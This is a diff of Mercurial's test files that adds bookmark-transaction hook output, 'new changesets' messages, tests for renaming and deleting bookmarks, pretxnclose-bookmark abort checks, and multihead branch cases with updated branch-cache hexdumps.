+  test-hook-bookmark: @foo:  0d2164f0ce0d8f1d6f94351eba04b794909be66c -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X:  9b140be1080824d768c5a4691a564088eede71f9 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
 
 reinstall state for further testing:
 
@@ -281,13 +295,14 @@
   $ hg ci -Am3
   adding f2
   created new head
-  $ hg push ../a
+  $ hg push ../a --config "$TESTHOOK"
   pushing to ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  test-hook-bookmark: Y:  4e3505fd95835d721066b76e75dbb8cc554d7f77 -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
   updating bookmark Y
   $ hg -R ../a book
      @                         1:0d2164f0ce0d
@@ -312,7 +327,11 @@
   > echo committed in pull-race
   > EOF
 
-  $ hg clone -q http://localhost:$HGPORT/ pull-race2
+  $ hg clone -q http://localhost:$HGPORT/ pull-race2 --config "$TESTHOOK"
+  test-hook-bookmark: @:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: Y:   -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
+  test-hook-bookmark: Z:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
   $ cd pull-race
   $ hg up -q Y
   $ echo c4 > f2
@@ -343,6 +362,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   updating bookmark Y
+  new changesets b0a5eff05604
   (run 'hg update' to get a working copy)
   $ hg book
    * @                         1:0d2164f0ce0d
@@ -392,6 +412,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   updating bookmark Y
+  new changesets 35d1ef0a8d1b
   (run 'hg update' to get a working copy)
   $ hg book
      @                         1:0d2164f0ce0d
@@ -555,6 +576,7 @@
   adding file changes
   added 5 changesets with 5 changes to 3 files (+2 heads)
   2 new obsolescence markers
+  new changesets 4e3505fd9583:c922c0139ca0
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks bookmarks
@@ -691,6 +713,7 @@
   adding file changes
   added 5 changesets with 5 changes to 3 files (+2 heads)
   2 new obsolescence markers
+  new changesets 4e3505fd9583:c922c0139ca0
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd addmarks
diff --git a/tests/test-bookmarks-rebase.t b/tests/test-bookmarks-rebase.t
--- a/tests/test-bookmarks-rebase.t
+++ b/tests/test-bookmarks-rebase.t
@@ -37,7 +37,7 @@
 rebase
 
   $ hg rebase -s two -d one
-  rebasing 3:2ae46b1d99a7 "3" (tip two)
+  rebasing 3:2ae46b1d99a7 "3" (two tip)
   saved backup bundle to $TESTTMP/.hg/strip-backup/2ae46b1d99a7-e6b057bc-rebase.hg (glob)
 
   $ hg log
@@ -77,7 +77,7 @@
   created new head
   $ hg bookmark three
   $ hg rebase -s three -d two
-  rebasing 4:dd7c838e8362 "4" (tip three)
+  rebasing 4:dd7c838e8362 "4" (three tip)
   merging d
   warning: conflicts while merging d! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
@@ -92,7 +92,7 @@
 after aborted rebase, restoring a bookmark that has been removed should not fail
 
   $ hg rebase -s three -d two
-  rebasing 4:dd7c838e8362 "4" (tip three)
+  rebasing 4:dd7c838e8362 "4" (three tip)
   merging d
   warning: conflicts while merging d! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see hg resolve, then hg rebase --continue)
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -1,6 +1,9 @@
+
   $ hg init repo
   $ cd repo
 
+  $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
+
 no bookmarks
 
   $ hg bookmarks
@@ -12,7 +15,8 @@
 
 bookmark rev -1
 
-  $ hg bookmark X
+  $ hg bookmark X --config "$TESTHOOK"
+  test-hook-bookmark: X:   -> 0000000000000000000000000000000000000000
 
 list bookmarks
 
@@ -27,7 +31,8 @@
 
   $ echo a > a
   $ hg add a
-  $ hg commit -m 0
+  $ hg commit -m 0 --config "$TESTHOOK"
+  test-hook-bookmark: X:  0000000000000000000000000000000000000000 -> f7b1eb17ad24730a1651fccd46c43826d1bbc2ac
 
 bookmark X moved to rev 0
 
@@ -47,7 +52,8 @@
 
 second bookmark for rev 0, command should work even with ui.strict on
 
-  $ hg --config ui.strict=1 bookmark X2
+  $ hg --config ui.strict=1 bookmark X2 --config "$TESTHOOK"
+  test-hook-bookmark: X2:   -> f7b1eb17ad24730a1651fccd46c43826d1bbc2ac
 
 bookmark rev -1 again
 
@@ -62,7 +68,8 @@
 
   $ echo b > b
   $ hg add b
-  $ hg commit -m 1
+  $ hg commit -m 1 --config "$TESTHOOK"
+  test-hook-bookmark: X2:  f7b1eb17ad24730a1651fccd46c43826d1bbc2ac -> 925d80f479bb026b0fb3deb27503780b13f74123
 
   $ hg bookmarks -Tjson
   [
@@ -191,6 +198,51 @@
 
   $ hg bookmark -f -m X Y
 
+rename bookmark using .
+
+  $ hg book rename-me
+  $ hg book -m . renamed --config "$TESTHOOK"
+  test-hook-bookmark: rename-me:  db815d6d32e69058eadefc8cffbad37675707975 -> 
+  test-hook-bookmark: renamed:   -> db815d6d32e69058eadefc8cffbad37675707975
+  $ hg bookmark
+     X2                        1:925d80f479bb
+     Y                         2:db815d6d32e6
+     Z                         0:f7b1eb17ad24
+   * renamed                   2:db815d6d32e6
+  $ hg up -q Y
+  $ hg book -d renamed --config "$TESTHOOK"
+  test-hook-bookmark: renamed:  db815d6d32e69058eadefc8cffbad37675707975 -> 
+
+rename bookmark using . with no active bookmark
+
+  $ hg book rename-me
+  $ hg book -i rename-me
+  $ hg book -m . renamed
+  abort: no active bookmark
+  [255]
+  $ hg up -q Y
+  $ hg book -d rename-me
+
+delete bookmark using .
+
+  $ hg book delete-me
+  $ hg book -d .
+  $ hg bookmark
+     X2                        1:925d80f479bb
+     Y                         2:db815d6d32e6
+     Z                         0:f7b1eb17ad24
+  $ hg up -q Y
+
+delete bookmark using . with no active bookmark
+
+  $ hg book delete-me
+  $ hg book -i delete-me
+  $ hg book -d .
+  abort: no active bookmark
+  [255]
+  $ hg up -q Y
+  $ hg book -d delete-me
+
 list bookmarks
 
   $ hg bookmark
@@ -312,11 +364,13 @@
   [255]
 
 bookmark with a name that matches a node id
-  $ hg bookmark 925d80f479bb db815d6d32e6
+  $ hg bookmark 925d80f479bb db815d6d32e6 --config "$TESTHOOK"
   bookmark 925d80f479bb matches a changeset hash
   (did you leave a -r out of an 'hg bookmark' command?)
   bookmark db815d6d32e6 matches a changeset hash
   (did you leave a -r out of an 'hg bookmark' command?)
+  test-hook-bookmark: 925d80f479bb:   -> db815d6d32e69058eadefc8cffbad37675707975
+  test-hook-bookmark: db815d6d32e6:   -> db815d6d32e69058eadefc8cffbad37675707975
   $ hg bookmark -d 925d80f479bb
   $ hg bookmark -d db815d6d32e6
 
@@ -364,7 +418,8 @@
 
 force bookmark with existing name
 
-  $ hg bookmark -f X2
+  $ hg bookmark -f X2 --config "$TESTHOOK"
+  test-hook-bookmark: X2:  925d80f479bb026b0fb3deb27503780b13f74123 -> db815d6d32e69058eadefc8cffbad37675707975
 
 force bookmark back to where it was, should deactivate it
 
@@ -508,6 +563,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+1 heads)
+  new changesets f7b1eb17ad24:db815d6d32e6
   updating to bookmark @
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks-pull bookmarks
@@ -545,6 +601,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets f7b1eb17ad24:925d80f479bb
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R cloned-bookmarks-rev bookmarks
@@ -585,6 +642,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 update to active bookmark if it's not the parent
@@ -632,6 +690,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 (# tests strange but with --date crashing when bookmark have to move)
@@ -657,6 +716,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   updating to active bookmark Y
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -681,6 +741,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ../cloned-bookmarks-manual-update-with-divergence update
   updating to active bookmark Y
@@ -865,6 +926,7 @@
   adding remote bookmark foo
   adding remote bookmark four
   adding remote bookmark should-end-on-two
+  new changesets 5fb12f0f2d51
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R ../cloned-bookmarks-update parents -T "{rev}:{node|short}\n"
   3:125c9a1d6df6
@@ -888,6 +950,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   divergent bookmark Z stored as Z@default
+  new changesets 81dcce76aa0b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark Y
   $ hg -R ../cloned-bookmarks-update parents -T "{rev}:{node|short}\n"
@@ -906,8 +969,10 @@
   $ echo a > a
 
   $ cat > $TESTTMP/pausefinalize.py <<EOF
+  > from __future__ import absolute_import
+  > import os
+  > import time
   > from mercurial import extensions, localrepo
-  > import os, time
   > def transaction(orig, self, desc, report=None):
   >    tr = orig(self, desc, report)
   >    def sleep(*args, **kwargs):
@@ -998,3 +1063,99 @@
   rollback completed
   abort: pretxnclose hook exited with status 1
   [255]
+
+Check pretxnclose-bookmark can abort a transaction
+--------------------------------------------------
+
+add hooks:
+
+* to prevent NEW bookmark on a non-public changeset
+* to prevent non-forward move of NEW bookmark
+
+  $ cat << EOF >> .hg/hgrc
+  > [hooks]
+  > pretxnclose-bookmark.force-public  = (echo \$HG_BOOKMARK| grep -v NEW > /dev/null) || [ -z "\$HG_NODE" ] || (hg log -r "\$HG_NODE" -T '{phase}' | grep public > /dev/null)
+  > pretxnclose-bookmark.force-forward = (echo \$HG_BOOKMARK| grep -v NEW > /dev/null) || [ -z "\$HG_NODE" ] || (hg log -r "max(\$HG_OLDNODE::\$HG_NODE)" -T 'MATCH' | grep MATCH > /dev/null)
+  > EOF
+
+  $ hg log -G -T phases
+  @  changeset:   6:81dcce76aa0b
+  |  tag:         tip
+  |  phase:       draft
+  |  parent:      4:125c9a1d6df6
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     xx
+  |
+  | o  changeset:   5:5fb12f0f2d51
+  | |  branch:      test
+  | |  bookmark:    Z
+  | |  phase:       draft
+  | |  parent:      3:9ba5f110a0b3
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     yy
+  | |
+  o |  changeset:   4:125c9a1d6df6
+  | |  bookmark:    Y
+  | |  bookmark:    Z@2
+  | |  phase:       public
+  | |  parent:      2:db815d6d32e6
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  summary:     x
+  | |
+  | o  changeset:   3:9ba5f110a0b3
+  |/   branch:      test
+  |    bookmark:    foo
+  |    bookmark:    four
+  |    phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     y
+  |
+  o  changeset:   2:db815d6d32e6
+  |  bookmark:    foo@2
+  |  bookmark:    should-end-on-two
+  |  bookmark:    x  y
+  |  phase:       public
+  |  parent:      0:f7b1eb17ad24
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     2
+  |
+  | o  changeset:   1:925d80f479bb
+  |/   bookmark:    X2
+  |    bookmark:    Z@1
+  |    phase:       public
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    summary:     1
+  |
+  o  changeset:   0:f7b1eb17ad24
+     bookmark:    foo@1
+     phase:       public
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     0
+  
+
+attempt to create on a default changeset
+
+  $ hg bookmark -r 81dcce76aa0b NEW
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-bookmark.force-public hook exited with status 1
+  [255]
+
+create on a public changeset
+
+  $ hg bookmark -r 9ba5f110a0b3 NEW
+
+move to the other branch
+
+  $ hg bookmark -f -r 125c9a1d6df6 NEW
+  transaction abort!
+  rollback completed
+  abort: pretxnclose-bookmark.force-forward hook exited with status 1
+  [255]
diff --git a/tests/test-branch-option.t b/tests/test-branch-option.t
--- a/tests/test-branch-option.t
+++ b/tests/test-branch-option.t
@@ -23,6 +23,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5b65ba7c951d
   updating to branch a
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd branch2
@@ -101,6 +102,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets 5b65ba7c951d:65511d0e2b55
   updating to branch b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -q -R branch3 heads b
@@ -117,6 +119,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets 5b65ba7c951d:65511d0e2b55
   updating to branch a
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -q -R branch3 heads b
diff --git a/tests/test-branches.t b/tests/test-branches.t
--- a/tests/test-branches.t
+++ b/tests/test-branches.t
@@ -93,6 +93,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files
+  new changesets f0e4c7f04036:33c2ceb9310b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg update '"colon:test"'
@@ -418,6 +419,131 @@
   date:        Thu Jan 01 00:00:09 1970 +0000
   summary:     prune bad branch
   
+
+reclose branch
+
+  $ hg up -C c
+  3 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ hg commit -d '9 0' --close-branch -m 'reclosing this branch'
+  $ hg branches
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+  $ hg branches --closed
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  c                             14:f894c25619d3 (closed)
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+multihead branch
+
+  $ hg up -C default
+  0 files updated, 0 files merged, 3 files removed, 0 files unresolved
+  $ hg branch m
+  marked working directory as branch m
+  $ touch m
+  $ hg add m
+  $ hg commit -d '10 0' -m 'multihead base'
+  $ echo "m1" >m
+  $ hg commit -d '10 0' -m 'head 1'
+  $ hg up -C '.^'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ echo "m2" >m
+  $ hg commit -d '10 0' -m 'head 2'
+  created new head
+  $ hg log -b m
+  changeset:   17:df343b0df04f
+  branch:      m
+  tag:         tip
+  parent:      15:f3447637f53e
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 2
+  
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  changeset:   15:f3447637f53e
+  branch:      m
+  parent:      0:19709c5a4e75
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     multihead base
+  
+  $ hg heads --topo m
+  changeset:   17:df343b0df04f
+  branch:      m
+  tag:         tip
+  parent:      15:f3447637f53e
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 2
+  
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  $ hg branches
+  m                             17:df343b0df04f
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+partially merge multihead branch
+
+  $ hg up -C default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg branch md
+  marked working directory as branch md
+  $ hg merge m
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+  $ hg commit -d '11 0' -m 'merge head 2'
+  $ hg heads --topo m
+  changeset:   16:a58ca5d3bdf3
+  branch:      m
+  user:        test
+  date:        Thu Jan 01 00:00:10 1970 +0000
+  summary:     head 1
+  
+  $ hg branches
+  md                            18:c914c99f1fbb
+  m                             17:df343b0df04f
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
+partially close multihead branch
+
+  $ hg up -C a58ca5d3bdf3
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit -d '12 0' -m 'close head 1' --close-branch
+  $ hg heads --topo m
+  changeset:   19:cd21a80baa3d
+  branch:      m
+  tag:         tip
+  parent:      16:a58ca5d3bdf3
+  user:        test
+  date:        Thu Jan 01 00:00:12 1970 +0000
+  summary:     close head 1
+  
+  $ hg branches
+  md                            18:c914c99f1fbb
+  b                             13:e23b5505d1ad
+  a branch name much longer than the default justification used by branches 7:10ff5895aa57
+  m                             17:df343b0df04f (inactive)
+  a                              5:d8cbc61dbaa6 (inactive)
+  default                        0:19709c5a4e75 (inactive)
+
 default branch colors:
 
   $ cat <<EOF >> $HGRCPATH
@@ -427,22 +553,23 @@
   > mode = ansi
   > EOF
 
-  $ hg up -C c
-  3 files updated, 0 files merged, 2 files removed, 0 files unresolved
-  $ hg commit -d '9 0' --close-branch -m 'reclosing this branch'
   $ hg up -C b
-  2 files updated, 0 files merged, 3 files removed, 0 files unresolved
+  2 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg branches --color=always
+  \x1b[0;0mmd\x1b[0m\x1b[0;33m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;32mb\x1b[0m\x1b[0;33m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;0ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;33m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;0mm\x1b[0m\x1b[0;33m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;0ma\x1b[0m\x1b[0;33m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;0mdefault\x1b[0m\x1b[0;33m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
 
 default closed branch color:
 
   $ hg branches --color=always --closed
+  \x1b[0;0mmd\x1b[0m\x1b[0;33m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;32mb\x1b[0m\x1b[0;33m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;0ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;33m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;0mm\x1b[0m\x1b[0;33m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;30;1mc\x1b[0m\x1b[0;33m                             14:f894c25619d3\x1b[0m (closed) (esc)
   \x1b[0;0ma\x1b[0m\x1b[0;33m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;0mdefault\x1b[0m\x1b[0;33m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
@@ -461,16 +588,20 @@
 custom branch colors:
 
   $ hg branches --color=always
+  \x1b[0;32mmd\x1b[0m\x1b[0;36m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;31mb\x1b[0m\x1b[0;36m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;32ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;36m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;35mm\x1b[0m\x1b[0;36m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;35ma\x1b[0m\x1b[0;36m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;35mdefault\x1b[0m\x1b[0;36m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
 
 custom closed branch color:
 
   $ hg branches --color=always --closed
+  \x1b[0;32mmd\x1b[0m\x1b[0;36m                            18:c914c99f1fbb\x1b[0m (esc)
   \x1b[0;31mb\x1b[0m\x1b[0;36m                             13:e23b5505d1ad\x1b[0m (esc)
   \x1b[0;32ma branch name much longer than the default justification used by branches\x1b[0m\x1b[0;36m 7:10ff5895aa57\x1b[0m (esc)
+  \x1b[0;35mm\x1b[0m\x1b[0;36m                             17:df343b0df04f\x1b[0m (inactive) (esc)
   \x1b[0;34mc\x1b[0m\x1b[0;36m                             14:f894c25619d3\x1b[0m (closed) (esc)
   \x1b[0;35ma\x1b[0m\x1b[0;36m                              5:d8cbc61dbaa6\x1b[0m (inactive) (esc)
   \x1b[0;35mdefault\x1b[0m\x1b[0;36m                        0:19709c5a4e75\x1b[0m (inactive) (esc)
@@ -481,6 +612,14 @@
   [
    {
     "active": true,
+    "branch": "md",
+    "closed": false,
+    "current": false,
+    "node": "c914c99f1fbb2b1d785a0a939ed3f67275df18e9",
+    "rev": 18
+   },
+   {
+    "active": true,
     "branch": "b",
     "closed": false,
     "current": true,
@@ -497,6 +636,14 @@
    },
    {
     "active": false,
+    "branch": "m",
+    "closed": false,
+    "current": false,
+    "node": "df343b0df04feb2a946cd4b6e9520e552fef14ee",
+    "rev": 17
+   },
+   {
+    "active": false,
     "branch": "c",
     "closed": true,
     "current": false,
@@ -525,8 +672,10 @@
   c
 
   $ hg branches -T '{word(0, branch)}: {desc|firstline}\n'
+  md: merge head 2
   b: reopen branch with a change
   a: Adding d branch
+  m: head 2
   a: Adding b branch head 2
   default: Adding root node
 
@@ -538,8 +687,10 @@
   > EOF
   $ hg branches -T "$TESTTMP/map-myjson"
   {
+   {"branch": "md", "node": "c914c99f1fbb"},
    {"branch": "b", "node": "e23b5505d1ad"},
    {"branch": "a branch *", "node": "10ff5895aa57"}, (glob)
+   {"branch": "m", "node": "df343b0df04f"},
    {"branch": "a", "node": "d8cbc61dbaa6"},
    {"branch": "default", "node": "19709c5a4e75"}
   }
@@ -553,8 +704,10 @@
   > EOF
   $ hg branches -T myjson
   {
+   {"branch": "md", "node": "c914c99f1fbb"},
    {"branch": "b", "node": "e23b5505d1ad"},
    {"branch": "a branch *", "node": "10ff5895aa57"}, (glob)
+   {"branch": "m", "node": "df343b0df04f"},
    {"branch": "a", "node": "d8cbc61dbaa6"},
    {"branch": "default", "node": "19709c5a4e75"}
   }
@@ -564,8 +717,10 @@
   > :docheader = 'should not be selected as a docheader for literal templates\n'
   > EOF
   $ hg branches -T '{branch}\n'
+  md
   b
   a branch name much longer than the default justification used by branches
+  m
   a
   default
 
@@ -579,14 +734,14 @@
   $ rm -rf .hg/cache; hg head a -T '{rev}\n'
   5
   $ f --hexdump --size .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=87
+  .hg/cache/rbc-names-v1: size=92
   0000: 64 65 66 61 75 6c 74 00 61 00 62 00 63 00 61 20 |default.a.b.c.a |
   0010: 62 72 61 6e 63 68 20 6e 61 6d 65 20 6d 75 63 68 |branch name much|
   0020: 20 6c 6f 6e 67 65 72 20 74 68 61 6e 20 74 68 65 | longer than the|
   0030: 20 64 65 66 61 75 6c 74 20 6a 75 73 74 69 66 69 | default justifi|
   0040: 63 61 74 69 6f 6e 20 75 73 65 64 20 62 79 20 62 |cation used by b|
-  0050: 72 61 6e 63 68 65 73                            |ranches|
-  .hg/cache/rbc-revs-v1: size=120
+  0050: 72 61 6e 63 68 65 73 00 6d 00 6d 64             |ranches.m.md|
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
   0010: 88 1f e2 b9 00 00 00 01 ac 22 03 33 00 00 00 02 |.........".3....|
   0020: ae e3 9c d1 00 00 00 02 d8 cb c6 1d 00 00 00 01 |................|
@@ -594,7 +749,9 @@
   0040: ee bb 94 44 00 00 00 02 5f 40 61 bb 00 00 00 02 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 02 d3 f1 63 45 80 00 00 02 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 02 e2 3b 55 05 00 00 00 02 |.........;U.....|
-  0070: f8 94 c2 56 80 00 00 03                         |...V....|
+  0070: f8 94 c2 56 80 00 00 03 f3 44 76 37 00 00 00 05 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 05 df 34 3b 0d 00 00 00 05 |.........4;.....|
+  0090: c9 14 c9 9f 00 00 00 06 cd 21 a8 0b 80 00 00 05 |.........!......|
 
 no errors when revbranchcache is not writable
 
@@ -622,9 +779,9 @@
   $ echo >> .hg/cache/rbc-revs-v1
   $ rm -f .hg/cache/branch* && hg head a -T '{rev}\n' --debug
   5
-  truncating cache/rbc-revs-v1 to 120
+  truncating cache/rbc-revs-v1 to 160
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with partial last record
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 119 rbc-revs-v1 > .hg/cache/rbc-revs-v1
@@ -634,14 +791,14 @@
   5
   truncating cache/rbc-revs-v1 to 112
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with missing record - no truncation
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 112 rbc-revs-v1 > .hg/cache/rbc-revs-v1
   $ rm -f .hg/cache/branch* && hg head a -T '{rev}\n' --debug
   5
   $ f --size .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
 recovery from invalid cache file with some bad records
   $ mv .hg/cache/rbc-revs-v1 .
   $ f -qDB 8 rbc-revs-v1 > .hg/cache/rbc-revs-v1
@@ -658,29 +815,29 @@
   5
   truncating cache/rbc-revs-v1 to 104
   $ f --size --hexdump --bytes=16 .hg/cache/rbc-revs*
-  .hg/cache/rbc-revs-v1: size=120
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
 cache is updated when committing
   $ hg branch i-will-regret-this
   marked working directory as branch i-will-regret-this
   $ hg ci -m regrets
   $ f --size .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=106
-  .hg/cache/rbc-revs-v1: size=128
+  .hg/cache/rbc-names-v1: size=111
+  .hg/cache/rbc-revs-v1: size=168
 update after rollback - the cache will be correct but rbc-names will will still
 contain the branch name even though it no longer is used
   $ hg up -qr '.^'
   $ hg rollback -qf
   $ f --size --hexdump .hg/cache/rbc-*
-  .hg/cache/rbc-names-v1: size=106
+  .hg/cache/rbc-names-v1: size=111
   0000: 64 65 66 61 75 6c 74 00 61 00 62 00 63 00 61 20 |default.a.b.c.a |
   0010: 62 72 61 6e 63 68 20 6e 61 6d 65 20 6d 75 63 68 |branch name much|
   0020: 20 6c 6f 6e 67 65 72 20 74 68 61 6e 20 74 68 65 | longer than the|
   0030: 20 64 65 66 61 75 6c 74 20 6a 75 73 74 69 66 69 | default justifi|
   0040: 63 61 74 69 6f 6e 20 75 73 65 64 20 62 79 20 62 |cation used by b|
-  0050: 72 61 6e 63 68 65 73 00 69 2d 77 69 6c 6c 2d 72 |ranches.i-will-r|
-  0060: 65 67 72 65 74 2d 74 68 69 73                   |egret-this|
-  .hg/cache/rbc-revs-v1: size=120
+  0050: 72 61 6e 63 68 65 73 00 6d 00 6d 64 00 69 2d 77 |ranches.m.md.i-w|
+  0060: 69 6c 6c 2d 72 65 67 72 65 74 2d 74 68 69 73    |ill-regret-this|
+  .hg/cache/rbc-revs-v1: size=160
   0000: 19 70 9c 5a 00 00 00 00 dd 6b 44 0d 00 00 00 01 |.p.Z.....kD.....|
   0010: 88 1f e2 b9 00 00 00 01 ac 22 03 33 00 00 00 02 |.........".3....|
   0020: ae e3 9c d1 00 00 00 02 d8 cb c6 1d 00 00 00 01 |................|
@@ -688,12 +845,14 @@
   0040: ee bb 94 44 00 00 00 02 5f 40 61 bb 00 00 00 02 |...D...._@a.....|
   0050: bf be 84 1b 00 00 00 02 d3 f1 63 45 80 00 00 02 |..........cE....|
   0060: e3 d4 9c 05 80 00 00 02 e2 3b 55 05 00 00 00 02 |.........;U.....|
-  0070: f8 94 c2 56 80 00 00 03                         |...V....|
+  0070: f8 94 c2 56 80 00 00 03 f3 44 76 37 00 00 00 05 |...V.....Dv7....|
+  0080: a5 8c a5 d3 00 00 00 05 df 34 3b 0d 00 00 00 05 |.........4;.....|
